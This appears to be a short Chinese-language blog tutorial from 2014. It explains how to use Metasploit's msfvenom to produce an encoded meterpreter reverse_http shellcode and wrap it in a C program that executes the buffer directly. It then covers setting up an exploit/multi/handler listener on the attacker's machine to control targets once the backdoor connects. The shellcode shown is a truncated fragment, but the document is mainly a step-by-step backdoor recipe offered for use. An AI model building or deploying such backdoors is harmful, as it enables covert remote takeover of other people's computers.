日期:2014-05-16  浏览次数:21061 次

Metasploit应用笔记-msfvenom生成meterpreter后门代码

1 用msfvenom生成c语言格式的shellcode.


windows/meterpreter/reverse_http是shellcode, X86/shikata_ga_nai是指定对shellcode的编码方法,-i 3 是指定编码次数,LHOST LPORT是shellcode要使用的参数,表示shellcode运行是连接的IP地址和端口。-f c 指定shellcode的c语言格式。也可以使用-f exe 直接输出可执行的exe文件。


2 在C程序中调用Shellcode:

unsigned char buf[] = 
"\xd9\xf6\xbe\xb2\x7c\x9f\x62\xd9\x74\x24\xf4\x5f\x29\xc9\xb1";
int _tmain(int argc, _TCHAR* argv[])
{
	void (*fun)();
	*(int*)&fun = (int)buf;
	printf("Execute meterpreter shellcode.....\n");
	fun();
	return 0;
}


3 在attacker电脑上启动metasploit 控制台:msfcosole. 如图:


解释一下命令

msf > use exploit/multi/handler               使用exploit/multi/handler监听连入的backdoor
msf  exploit(handler) > set payload windows/meterpreter/reverse_http            设置对应的payload。payload就是shellcode的意思。
msf  exploit(handler) > show options                         显示所有的设置

如果需要的话,可能还需要将LHOST,LPORT,设置成与shellcode中相同的地址和端口。

4 最后在attacker电脑上运行exploit命令,一旦有backdoor连进来,就可以用命令来控制目标了。